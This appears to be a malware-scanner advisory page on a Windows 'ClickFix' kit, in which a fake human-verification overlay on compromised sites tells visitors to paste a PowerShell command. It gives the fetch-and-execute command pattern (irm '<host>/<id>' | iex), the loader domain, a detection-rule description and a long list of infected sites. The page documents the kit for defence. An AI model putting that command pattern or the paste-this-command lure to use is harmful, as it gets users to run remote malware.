ScanMalware.com
Known malicious kitcriticalphishing

Windows ClickFix: injected 'Human Verification' overlay (Win+X, Terminal) — overlay code

family: clickfix-winx-overlay-2026-10
Short link:scanmalware.com/h/245

Compromised websites carrying an injected script that draws a fake Cloudflare-style 'Human Verification' overlay ('I'm not a robot', a Ray ID) and tells Windows visitors to press and hold the Windows key + X, choose Terminal (or press I), paste with Ctrl+V and press Enter. The pasted text is a PowerShell command that downloads and runs a second stage (irm '<host>/<id>' | iex). The overlay text is translated into several languages, and the script that draws it is packed, so the command never appears in the page source. Seen on dozens of small-business sites on 2026-10-01 loading the overlay from browseid[.]codes, and in an earlier version of the same overlay since August 2026. No legitimate verification step asks visitors to run a command.

Anchors

YARA ruleClickFix_WinX_Overlay_Kit

Provenance

Added: 2026-10-01 13:30
Page rule keyed on the overlay's own element id and key-press animation names, which do not change with the language of the overlay text. Matches the rendered page wherever the overlay was drawn; sites that load the script but did not show the overlay to the scanner do not match.
References:

Sightings (432)Atom feed

Showing the 200 most recently scanned.

HostScanScriptMatchScanned
grivettirestauri.it#html161613c5…https://grivettirestauri.it#htmlyara2026-10-23 17:47
saintpatricksanglicanchurch.org#htmlc0610a78…https://saintpatricksanglicanchurch.org#htmlyara2026-10-23 16:47
platinumcarrent.com#html8349e41f…https://platinumcarrent.com#htmlyara2026-10-21 05:42
befestigungen24.de#html554f92f2…https://befestigungen24.de#htmlyara2026-10-20 19:19
authendigital.io#htmlbd8c637b…https://authendigital.io#htmlyara2026-10-20 19:18
auditoriarecords.com#htmlf7019106…https://auditoriarecords.com#htmlyara2026-10-20 19:16
aniimad.com#html71e13d3d…https://aniimad.com#htmlyara2026-10-20 19:11
alcoholth.com#htmlbd70c877…https://alcoholth.com#htmlyara2026-10-20 19:09
airconditioncapetown.co.za#html42420e4e…https://airconditioncapetown.co.za#htmlyara2026-10-20 19:08
5a71.com#html1d1aa68f…https://5a71.com#htmlyara2026-10-20 19:05
adelheid-gloeser.fr#htmlc2888321…https://adelheid-gloeser.fr#htmlyara2026-10-20 19:04
1022studio.com#html59b4e23f…https://1022studio.com#htmlyara2026-10-20 19:03
drnidhiagrawal.com#html01a4bede…https://drnidhiagrawal.com#htmlyara2026-10-20 19:00
drlogan.com.br#html03ffa1a6…https://drlogan.com.br#htmlyara2026-10-20 18:59
derma-care.uk#htmla3cadb0a…https://derma-care.uk#htmlyara2026-10-20 18:54
ctvenki.com.br#htmla45d1ec9…https://ctvenki.com.br#htmlyara2026-10-20 18:50
crestwaterdental.com#htmlc49a7f80…https://crestwaterdental.com#htmlyara2026-10-20 18:48
constructionsmarttek.com#html8d6e9e57…https://constructionsmarttek.com#htmlyara2026-10-20 18:45
clos3t.io#html7e5f7089…https://clos3t.io#htmlyara2026-10-20 18:44
classicdigitalindia.com#html513b8186…https://classicdigitalindia.com#htmlyara2026-10-20 18:42
chinaimportswa.com#html004e5a08…https://chinaimportswa.com#htmlyara2026-10-20 18:40
chaloupecka.cz#html129875b9…https://chaloupecka.cz#htmlyara2026-10-20 18:39
casaleo-shop.de#htmld10a444c…https://casaleo-shop.de#htmlyara2026-10-20 18:38
canhonamlong.com.vn#html7090b1f3…https://canhonamlong.com.vn#htmlyara2026-10-20 18:37
hairandbeauty-lounge.at#html8fbc5889…https://hairandbeauty-lounge.at#htmlyara2026-10-20 18:27
gentacart.my.id#html1f100858…https://gentacart.my.id#htmlyara2026-10-20 18:26
gameignition.io#html2066339d…https://gameignition.io#htmlyara2026-10-20 18:24
flizzyy.com#html42c2a48e…https://flizzyy.com#htmlyara2026-10-20 18:23
flashaquecedores.com.br#htmlc1d9ceda…https://flashaquecedores.com.br#htmlyara2026-10-20 18:21
filandoarte.com#htmlb8f12b57…https://filandoarte.com#htmlyara2026-10-20 18:19
fcaes.com.mx#htmlac8e6725…https://fcaes.com.mx#htmlyara2026-10-20 18:17
fashionfee.nl#htmlb217f3cd…https://fashionfee.nl#htmlyara2026-10-20 18:14
evidance.com.br#htmldc6e861b…https://evidance.com.br#htmlyara2026-10-20 18:13
epiccircle.in#html7c82954e…https://epiccircle.in#htmlyara2026-10-20 18:12
energyecohub.com.au#htmla6e8423a…https://energyecohub.com.au#htmlyara2026-10-20 18:10
energybf.com#html1bd90b94…https://energybf.com#htmlyara2026-10-20 18:09
edwardlopezfotografia.com#htmle1b3d2ab…https://edwardlopezfotografia.com#htmlyara2026-10-20 18:08
eazyhob.store#htmle207cae6…https://eazyhob.store#htmlyara2026-10-20 18:07
mhe.engineering#html93b5d462…https://mhe.engineering#htmlyara2026-10-20 18:04
magicartsmaua.com.br#html964c64ea…https://magicartsmaua.com.br#htmlyara2026-10-20 18:03
limpiezaeventos.com#html9ba055fc…https://limpiezaeventos.com#htmlyara2026-10-20 17:58
rosales20bar.com#htmld96a3398…https://rosales20bar.com#htmlyara2026-10-20 17:49
quickwech.com#html19799dd1…https://quickwech.com#htmlyara2026-10-20 17:47
ponte.tv#html6008e039…https://ponte.tv#htmlyara2026-10-20 17:45
thegurubarber.com.au#htmld87e7d70…https://thegurubarber.com.au#htmlyara2026-10-20 17:31
sutienda.es#html6ae25e32…https://sutienda.es#htmlyara2026-10-20 17:29
socolive.cash#html328d8f28…https://socolive.cash#htmlyara2026-10-20 17:23
xinlin.tw#html30655283…https://xinlin.tw#htmlyara2026-10-20 17:19
(inline)8046b8c9…(inline)yara2026-10-20 16:57
danabagroup.com#html8046b8c9…https://danabagroup.com#htmlyara2026-10-20 16:57
bcdevelopment.de#html1246ab16…https://bcdevelopment.de#htmlyara2026-10-20 16:40
(inline)81da899e…(inline)yara2026-10-20 16:19
findmyperfecthome.co.uk#html81da899e…https://findmyperfecthome.co.uk#htmlyara2026-10-20 16:19
(inline)554461af…(inline)yara2026-10-20 16:07
morganaorvokki.com#html554461af…https://morganaorvokki.com#htmlyara2026-10-20 16:07
(inline)0e9e3898…(inline)yara2026-10-20 14:43
wkaikido.pl#html0e9e3898…https://wkaikido.pl#htmlyara2026-10-20 14:43
btpwa.org#html4eae0ed1…https://btpwa.org#htmlyara2026-10-20 14:29
machinegame.com.tw51e12859…https://machinegame.com.tw/#htmlyara2026-10-20 14:19
luiseduardo.nete27116bf…https://luiseduardo.net/#htmlyara2026-10-20 14:16
lamiradadelotroediciones.comdcaa5ef5…https://lamiradadelotroediciones.com/#htmlyara2026-10-20 14:14
lottovip.lease5a3cb7c3…https://lottovip.lease/#htmlyara2026-10-20 14:13
intechpol.pl06ebeffc…https://intechpol.pl/#htmlyara2026-10-20 14:12
www.guncelbetvoygiris.com463ea491…https://www.guncelbetvoygiris.com/#htmlyara2026-10-20 14:11
i1-social.come37fba37…https://i1-social.com/#htmlyara2026-10-20 14:10
leo88vn.vipb9a56831…https://leo88vn.vip/#htmlyara2026-10-20 14:09
www.izmirtaskaplama.come74fa774…https://www.izmirtaskaplama.com/#htmlyara2026-10-20 14:08
iberian-trade.com9c7bcbcb…https://iberian-trade.com/#htmlyara2026-10-20 14:07
produtecnicaagro.com.br6f5396cc…https://produtecnicaagro.com.br/#htmlyara2026-10-20 14:04
moncler-outletjackets.us.comef6ae2d8…https://moncler-outletjackets.us.com/#htmlyara2026-10-20 14:03
ngob.co.za6e5c394c…https://ngob.co.za/#htmlyara2026-10-20 13:58
photographicmemories.uk.coma00371d7…https://photographicmemories.uk.com/#htmlyara2026-10-20 13:57
www.nurmas.com.tre671c240…https://www.nurmas.com.tr/#htmlyara2026-10-20 13:55
prefirobh.com.br1b28d1fc…https://prefirobh.com.br/#htmlyara2026-10-20 13:53
roadracerx.com82acf5b9…https://roadracerx.com/#htmlyara2026-10-20 13:52
zenithcomputers.com120a6d85…https://zenithcomputers.com/#htmlyara2026-10-20 13:49
xocdiapro.cob47f29f4…https://xocdiapro.co/#htmlyara2026-10-20 13:49
visadubai.com.vn6d3a3bd6…https://visadubai.com.vn/#htmlyara2026-10-20 13:46
www.yumweb.comd7a15ab7…https://www.yumweb.com/#htmlyara2026-10-20 13:45
sandandgarden.com.mx5ce9171c…https://sandandgarden.com.mx/#htmlyara2026-10-20 13:44
tuasesorcontable.com.cod0a9bf28…https://tuasesorcontable.com.co/#htmlyara2026-10-20 13:43
ufakick.group36f96cd7…https://ufakick.group/#htmlyara2026-10-20 13:42
v2.bulwarrestauracja.pl21129d76…https://v2.bulwarrestauracja.pl/#htmlyara2026-10-20 13:41
warpfins.com95a9f8ce…https://warpfins.com/#htmlyara2026-10-20 13:40
temdetudoecommerce.com2dd77f07…https://temdetudoecommerce.com/#htmlyara2026-10-20 13:39
www.ufa365.academy0a93b58e…https://www.ufa365.academy/#htmlyara2026-10-20 13:34
reketepizza.com46b45722…https://reketepizza.com/#htmlyara2026-10-20 13:28
qualicost.come1dfd9bb…https://qualicost.com/#htmlyara2026-10-20 13:27
meritadlaw.com#html61c66d28…https://meritadlaw.com#htmlyara2026-10-19 11:28
digitalwithkaviya.wasmer.app#html1236cd1b…https://digitalwithkaviya.wasmer.app#htmlyara2026-10-18 17:47
(inline)b9a68fe6…(inline)yara2026-10-17 17:34
comptabilitejoseefortin.com#htmlb9a68fe6…https://comptabilitejoseefortin.com#htmlyara2026-10-17 17:34
(inline)f20c1aed…(inline)yara2026-10-17 17:27
(inline)5855bbf5…(inline)yara2026-10-17 17:14
vially.consulting#html5855bbf5…https://vially.consulting#htmlyara2026-10-17 17:14
zehrademirel.com#html76d37442…https://zehrademirel.com#htmlyara2026-10-17 16:36
fotodiket.se#htmlb238d8bf…https://fotodiket.se#htmlyara2026-10-15 09:30
patratrimulia.com1fe24409…https://patratrimulia.com/custom_script.jsyara2026-10-15 01:43
sonido13.com#html1fe24409…https://sonido13.com#htmlyara2026-10-15 01:43
patratrimulia.com044d4144…https://patratrimulia.com/custom_script.jsyara2026-10-15 00:37
eneractenergy.com#htmlb04def5e…https://eneractenergy.com#htmlyara2026-10-14 21:16
afconstruc.com#htmle02bccdb…https://afconstruc.com#htmlyara2026-10-14 21:12
bj66.bet#html4250fb8c…https://bj66.bet#htmlyara2026-10-14 21:07
balconyinspectionlosangeles.com#htmlf3f9f208…https://balconyinspectionlosangeles.com#htmlyara2026-10-14 21:07
arusmrtech.com#html7110b3ad…https://arusmrtech.com#htmlyara2026-10-14 21:06
bj66c1.com#html9aaa28fb…https://bj66c1.com#htmlyara2026-10-14 21:05
bj66khuyenmai.com#htmlf401976e…https://bj66khuyenmai.com#htmlyara2026-10-14 21:03
afrogarnics.us#html26fc56ec…https://afrogarnics.us#htmlyara2026-10-14 21:02
chanjohnsonmusic.com#html46c50254…https://chanjohnsonmusic.com#htmlyara2026-10-14 21:00
2legendsnyc.com#html8b0800be…https://2legendsnyc.com#htmlyara2026-10-14 20:59
dunlapconstructionllc.com#htmlec1e9755…https://dunlapconstructionllc.com#htmlyara2026-10-14 20:55
andrestaedele.com#htmlb35acee5…https://andrestaedele.com#htmlyara2026-10-14 20:54
autoescolavallecar.com#html4352f96a…https://autoescolavallecar.com#htmlyara2026-10-14 20:52
afforestintl.com#html18cfe3ae…https://afforestintl.com#htmlyara2026-10-14 20:51
bj66bet.com#htmlc1c205ac…https://bj66bet.com#htmlyara2026-10-14 20:50
ararchoir.com#html21222bc0…https://ararchoir.com#htmlyara2026-10-14 20:47
ahhs.edu.bd#htmlb80f6c69…https://ahhs.edu.bd#htmlyara2026-10-14 20:44
chessplus.edu.vn#html6d7cb664…https://chessplus.edu.vn#htmlyara2026-10-14 20:40
beerbalco.com#htmldc470e0d…https://beerbalco.com#htmlyara2026-10-14 20:38
chrismooneysingh.com#html4d96db9c…https://chrismooneysingh.com#htmlyara2026-10-14 20:37
bewustconsulting.com#html265cf489…https://bewustconsulting.com#htmlyara2026-10-14 20:33
almonjid.com#html32c844f0…https://almonjid.com#htmlyara2026-10-14 20:32
www.asturigin.com#htmlbde66223…https://www.asturigin.com#htmlyara2026-10-14 20:26
forteprecatorios.com.br#htmla290346f…https://forteprecatorios.com.br#htmlyara2026-10-14 20:25
www.3ob.fr#html123dec7d…https://www.3ob.fr#htmlyara2026-10-14 20:24
www.antonicelliformazione.it#htmlcea2b499…https://www.antonicelliformazione.it#htmlyara2026-10-14 20:23
www.centrovertiginitorino.it#html82f0c1bd…https://www.centrovertiginitorino.it#htmlyara2026-10-14 20:22
glosamarina.com#htmld86f74a7…https://glosamarina.com#htmlyara2026-10-14 20:18
funktionflooring.co.za#html01250a5c…https://funktionflooring.co.za#htmlyara2026-10-14 20:16
lincolnfinancialservicesllc.com#html0cbe307a…https://lincolnfinancialservicesllc.com#htmlyara2026-10-14 20:13
mauricetalton.com#html1cd79943…https://mauricetalton.com#htmlyara2026-10-14 20:12
casinoedenbet.net#htmlc6dd7a29…https://casinoedenbet.net#htmlyara2026-10-14 20:09
cananewcity.com.vn#html861c2449…https://cananewcity.com.vn#htmlyara2026-10-14 20:07
bj66.casino#html4b585e46…https://bj66.casino#htmlyara2026-10-14 20:05
asturigin.com#html9227f4c5…https://asturigin.com#htmlyara2026-10-14 20:03
antonicelliformazione.it#html1f18f1fe…https://antonicelliformazione.it#htmlyara2026-10-14 20:02
honeybaenailz.com#html07a4a509…https://honeybaenailz.com#htmlyara2026-10-14 20:00
3ob.fr#htmlac18bb27…https://3ob.fr#htmlyara2026-10-14 19:59
gruposanluis.edu.pe#html0d744b3f…https://gruposanluis.edu.pe#htmlyara2026-10-14 19:58
franceprosecurite.fr#html4e3fe187…https://franceprosecurite.fr#htmlyara2026-10-14 19:54
eventor.be#html075893c5…https://eventor.be#htmlyara2026-10-14 19:51
energasrj.com.br#htmled27c0d0…https://energasrj.com.br#htmlyara2026-10-14 19:49
diariodeestoicos.com#htmlb31ca097…https://diariodeestoicos.com#htmlyara2026-10-14 19:47
casinoluckmatrix.net#htmlf087e867…https://casinoluckmatrix.net#htmlyara2026-10-14 19:40
centrovertiginitorino.it#htmldb825966…https://centrovertiginitorino.it#htmlyara2026-10-14 19:39
mhsohan.site#html87a535fc…https://mhsohan.site#htmlyara2026-10-14 19:35
mikesrealestate.co.nz#html029fe5bd…https://mikesrealestate.co.nz#htmlyara2026-10-14 19:34
mightymastermarketing.com#htmlcabac02f…https://mightymastermarketing.com#htmlyara2026-10-14 19:33
menara62.com#htmlf4e8c0a8…https://menara62.com#htmlyara2026-10-14 19:31
meerkatplumbing.com#html6e85cb4b…https://meerkatplumbing.com#htmlyara2026-10-14 19:30
maxpaxllc.com#html3ea4a906…https://maxpaxllc.com#htmlyara2026-10-14 19:28
jda-advies.nl#htmla539e356…https://jda-advies.nl#htmlyara2026-10-14 19:18
hotelmadonna.com.ar#html335c1933…https://hotelmadonna.com.ar#htmlyara2026-10-14 19:14
hoscindia.in#html2acd736e…https://hoscindia.in#htmlyara2026-10-14 19:13
sarandaestates.com#html6230551c…https://sarandaestates.com#htmlyara2026-10-14 19:11
radiobumerangtv.com#htmlda41545c…https://radiobumerangtv.com#htmlyara2026-10-14 19:09
protego360.com#html527ef6ac…https://protego360.com#htmlyara2026-10-14 19:07
propertyexperiencegroup.com#htmla46127b6…https://propertyexperiencegroup.com#htmlyara2026-10-14 19:06
pardazeshsazan.com#htmlfc9ca753…https://pardazeshsazan.com#htmlyara2026-10-14 19:03
podclubmedia.com#htmlc3d6a22e…https://podclubmedia.com#htmlyara2026-10-14 19:01
onihaspells.com#htmldad39668…https://onihaspells.com#htmlyara2026-10-14 18:58
ottawacapitalhomes.com#html1039adb4…https://ottawacapitalhomes.com#htmlyara2026-10-14 18:57
moon-vtc.com#html5bc32741…https://moon-vtc.com#htmlyara2026-10-14 18:51
moodesign.mu#html762ca631…https://moodesign.mu#htmlyara2026-10-14 18:50
wordforward.org#htmlf86be25d…https://wordforward.org#htmlyara2026-10-14 18:50
vnbj66.com#htmla7036996…https://vnbj66.com#htmlyara2026-10-14 18:49
wehavefeelingstoo.com#htmld80ba17f…https://wehavefeelingstoo.com#htmlyara2026-10-14 18:47
vitalbusinesservices.com#html6605101c…https://vitalbusinesservices.com#htmlyara2026-10-14 18:46
uspackagingllc.com#htmld65b5b96…https://uspackagingllc.com#htmlyara2026-10-14 18:44
unaacademiaonline.com#htmlc904cdf9…https://unaacademiaonline.com#htmlyara2026-10-14 18:43
toldosortizrd.com#html5d2a4a0d…https://toldosortizrd.com#htmlyara2026-10-14 18:40
thebigjackpotcasino.net#htmla22090ee…https://thebigjackpotcasino.net#htmlyara2026-10-14 18:38
terrablancamallorca.com#html3529dbb9…https://terrablancamallorca.com#htmlyara2026-10-14 18:36
technogeek.es#html4a1ee00a…https://technogeek.es#htmlyara2026-10-14 18:36
sumuttoday.com#html10fe449c…https://sumuttoday.com#htmlyara2026-10-14 18:34
sunupackaging.com#html311d9a76…https://sunupackaging.com#htmlyara2026-10-14 18:33
slighfoxinc.com#html9a39fc1e…https://slighfoxinc.com#htmlyara2026-10-14 18:30
solevento.eu#htmlf09d0411…https://solevento.eu#htmlyara2026-10-14 18:29
searcomgroup.com#html522a0684…https://searcomgroup.com#htmlyara2026-10-14 18:28
satstech.ae#htmlbb19d816…https://satstech.ae#htmlyara2026-10-14 18:28
yilmazbijuteri.com.tr#html1e7f1bf5…https://yilmazbijuteri.com.tr#htmlyara2026-10-14 18:26
www.litoerre.com#htmlba9bbfa8…https://www.litoerre.com#htmlyara2026-10-14 18:18
www.nahr-iq.org#html28c258fe…https://www.nahr-iq.org#htmlyara2026-10-14 18:17
regnantitsolutions.com#htmlbac0b690…https://regnantitsolutions.com#htmlyara2026-10-14 18:15
quadhubtrade.com#htmlda3c6cce…https://quadhubtrade.com#htmlyara2026-10-14 18:14
www.nicociucci.com#html2613a96f…https://www.nicociucci.com#htmlyara2026-10-14 18:13
(inline)abee677d…(inline)yara2026-10-14 14:39
www.joseluislacasta.com#htmlabee677d…https://www.joseluislacasta.com#htmlyara2026-10-14 14:39
www.pachamamaroteisland.com#html9e067803…https://www.pachamamaroteisland.com#htmlyara2026-10-14 14:36
senturkvincyapi.com#html7f188750…https://senturkvincyapi.com#htmlyara2026-10-14 14:35
www.stmichaelsway.eu#htmlffa0b07e…https://www.stmichaelsway.eu#htmlyara2026-10-14 14:16
marathonspiritueldefes.comc0467ac2…https://marathonspiritueldefes.com/#htmlyara2026-10-13 13:12
(inline)03f33c0e…(inline)yara2026-10-12 03:07
limitlessroofingsolutions.co.uk#html03f33c0e…https://limitlessroofingsolutions.co.uk#htmlyara2026-10-12 03:07
(inline)a649e5ba…(inline)yara2026-10-12 03:03
korowater.com#htmla649e5ba…https://korowater.com#htmlyara2026-10-12 03:03
anphutaynguyen.online#html51173257…https://anphutaynguyen.online#htmlyara2026-10-11 23:40
(inline)de8ef3b1…(inline)yara2026-10-11 23:31
africanyoutharchitects.org#htmlde8ef3b1…https://africanyoutharchitects.org#htmlyara2026-10-11 23:31
(inline)48de73bd…(inline)yara2026-10-11 22:52